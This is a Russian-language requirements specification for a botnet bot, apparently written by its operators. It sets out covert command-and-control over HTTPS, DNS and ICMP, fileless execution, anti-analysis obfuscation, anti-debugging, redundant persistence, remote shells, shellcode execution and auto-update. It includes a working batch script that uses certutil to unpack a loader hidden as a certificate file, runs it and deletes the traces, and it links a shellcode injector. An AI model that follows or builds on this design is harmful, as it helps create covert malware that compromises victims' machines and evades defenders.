ТРЕБОВАНИЯ К БОТУ 1. Канал связи и протокол - использование открытых по умолчанию в корп.сетях протоколов: HTTPS, DNS, ICMP - резервирование каналов связи - верификация сервера (проверка по цифровой подписи или еще как-нибудь удостовериться, что это не перехват управления) - поиск командного сервера в условиях отказа всех известных адресов (желательно) - дополнительное шифрование трафика, в качестве защиты от машинного анализа - простой для парсинга протокол. В смысле, не json/xml/итд - зачем нам сложные парсеры, если можно без них - расширяемый протокол. Легкость добавления команд 2. Состояние (stateless-бот) - нельзя хранить на диске такие вещи как конфиги, ID, ни в файлах, ни в реестре, нигде То есть бот должен быть "реентерабельным" - способным начать с нуля, сгенерировать свой ид повторяемым образом, осмотреться в системе и продолжить работу, независимо от предыдущего состояния себя и админки. - отсюда требование и к протоколу - минимизируем блокирующие запросы, предусматриваем способ сброса таких запросов. Например: если мы дали команду боту, и в этот момент машина перезагрузилась, то админка будет вечно ждать ответа. И наоборот, если бот чего-то ожидает от сервера, и связь порвалась, должен быть способ выйти из такого клинча. 3. Закрепление - желательно дублирование способов закрепления - желательно использование стеганографии для закрепления. Например, закрепляем не сам бот, а вот такой скрипт: @echo off REM достаем загрузчик из "сертификата" certutil -decode file.crt file.exe REM запускаем загрузчик file.exe REM ждем пока прогрузится и отработает файл ping -n 300 127.0.0.1 > NUL REM удаляем загрузчик, т.к. тот уже успел отработать и запустить нагрузку del /f /y file.exe То есть пользуемся штатными утилитами ОС для распаковки и запуска нагрузки, помещая на виду безобидные скрипты. Также можно использовать хранение в картинке, звуковом файле итд - лишь бы нашелся способ развернуть нагрузку, используя лишь штатные средства. - желательно разделение бота на загрузчик и нагрузку 4. Защитные меры Обязательна защита как минимум от машинного анализа. - обфускация строк и системных вызовов, современными автоматизированными методами - при необходимости шифрования чего-либо, используем простые средства - XOR гаммирование либо XOR 1 байт. - проверки на песочницу не нужны, потому что трудно придумать хорошую логику для этого - можно сделать антиотладку - использование снятия хуков, защиты от инъекций, включения митигаций, для затруднения отладки и анализа процесса - если получится, защита от снятия процесса (наподобие как делают АВ) - можно использовать LLVM-обфускатор для сборки 5. Функционал - только безфайловые техники, для всего. Ничего не записываем на диск - наличие cmd-шелла (обязательно) - наличие powershell-шелла (желательно) - выполнение произвольного shell-кода https://github.com/DimopoulosElias/SimpleShellcodeInjector/blob/master/SimpleShellcodeInjector.c - выполнение .exe-файла (желательно) - запуск .dll (rundll, regsvr) желательно 6. Разделение ботнетов - бот должен содержать в себе идентификатор ботнета, на случай работы множественных ботнетов через одну админку 7. Автообновление - бот должен предусматривать автообновление